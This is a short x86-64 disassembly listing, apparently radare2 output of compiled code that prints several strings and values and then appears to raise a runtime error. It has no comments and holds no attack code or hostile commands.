call fcn.00436ce0
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.00436a20
lea rax, [0x004bd675]
mov ebx, 0x19
call fcn.00436ce0
mov eax, dword [rsp + 0x34]
call fcn.00436a20
nop
call fcn.004366a0
call fcn.004364c0
lea rax, [0x004b9d84]
mov ebx, 0xd
call fcn.00434ac0
nop dword [rax + rax]
cmp eax, 0x5af
je 0x414e60
call fcn.00436460
lea rax, [0x004bd68e]
mov ebx, 0x19
call fcn.00436ce0
mov rax, qword [rsp + 0x38]
call fcn.00436a20
lea rax, [0x004bd675]
mov ebx, 0x19
call fcn.00436ce0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00436a20
call fcn.004366a0
call fcn.004364c0
lea rax, [0x004bf204]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00434ac0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e800
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00414d00